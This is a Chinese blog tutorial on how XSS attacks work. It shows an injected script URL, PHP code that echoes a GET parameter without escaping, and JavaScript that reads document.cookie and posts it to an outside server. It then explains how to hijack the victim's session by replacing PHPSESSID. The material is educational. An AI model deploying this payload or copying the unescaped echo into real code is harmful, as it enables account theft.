XSS攻击原理以及案例说明

简介: XSS攻击原理以及案例说明

1.什么是xss攻击?


XSS攻击的全称是跨站脚本攻击,是Web应用程序中最常见到的攻击手段。跨站脚本攻击指的是攻击者在网页中嵌入恶意脚本程序,当用户打开该网页时,脚本程序便开始在客户端的浏览器上运行,便于获取cookie,用户名密码。


2.案例 (以下通过模拟说明,切勿用于非法用途否则后果自负)


通过xss攻击获取客户的cookie,并且直接登录他的账号。


首先通过get传参数注入js脚本例如


http://link.wlphp.com/?xss=%3Cscript%20src=%22https://www.wlphp.com/test/xss.js%22%3E%3C/script%3E


15.png

15.png

然后恰巧网站的业务代码里面有输出这个参数值到html里面的部分,比如如下代码。


<?php  @isset($_GET['xss'])?$_SESSION['xss']=$_GET['xss']:"" ?>

<?php echo $_SESSION['xss']; ?>


查看源代码如下:

16.png

这样查看网页源代码的时候就会发现里面有一段script标签,黑客嵌入一个远程的自己的js,自己的js内容如下

    var cookie=document.cookie;
    $.post("http://appwarn.wlphp.com/api.php?str="+cookie,{},function (data){
      console.log(data);
    });

然后js里面获取客户的cookie然后通过ajax传走到自己的服务器。

17.png

黑客通过接受到的cookie就能登录他的账号了。

可以使用火狐浏览器更改phpsessionid对应的值即可

18.png

相关文章
|
9月前
|
前端开发 JavaScript 安全
前端学习笔记202307学习笔记第五十七天-模拟面试笔记网络-xss和csrf攻击
前端学习笔记202307学习笔记第五十七天-模拟面试笔记网络-xss和csrf攻击
60 0
|
12月前
|
SQL 安全 测试技术
[网络安全]SQL注入原理及常见攻击方法简析
一般而言,登录验证逻辑语句为: select * from 表名 where name(用户名)='$输入' and pass(密码)='$输入' 当数据表中同时存在输入的name和pass字段时,页面将回显登录成功。
526 0
|
12月前
|
SQL 存储 安全
WEB安全之常见漏洞篇之SQL注入(基础 原理篇)
WEB安全之常见漏洞篇之SQL注入(基础 原理篇)
312 0
|
前端开发
前端学习案例1-数据劫持1
前端学习案例1-数据劫持1
54 0
前端学习案例1-数据劫持1
|
SQL 安全 数据库
3.sql注入原理
当Web应用向后台数据库传递SQL语句进行数据库操作时。如果对用户输入的参数没有经过严格的过滤处理,那么攻击者就可以构造特殊的SQL语句,直接输入数据库引擎执行,获取或修改数据库中的数据。
3.sql注入原理
|
机器学习/深度学习 安全 网络协议
SSRF漏洞 实战演示超详细讲解
通过SSRF漏洞的学习,我发现SSRF漏洞果然比CSRF漏洞的利用的局限性要小,并且SSRF漏洞对内网的一些应用危害比较大。所以在开发过程中,警惕大家要尽量避免产生SSRF漏洞。
|
SQL 存储 安全
笔记-SQL注入之简要SQL注入
SQL注入之简要SQL注入
185 0
笔记-SQL注入之简要SQL注入
|
JavaScript 安全 前端开发
XSS攻击原理以及案例说明
XSS攻击原理以及案例说明
|
存储 JavaScript 安全
XSS漏洞原理/方式/防御
SS又叫跨站脚本攻击 , 攻击的对象是客户端 原理 攻击者在Web页面插入恶意JS代码,用户浏览网页的时候,JS代码会被执行,从而攻击正常用户
220 0
|
SQL 关系型数据库 MySQL
一文给你讲明白SQL注入原理
一文给你讲明白SQL注入原理
156 0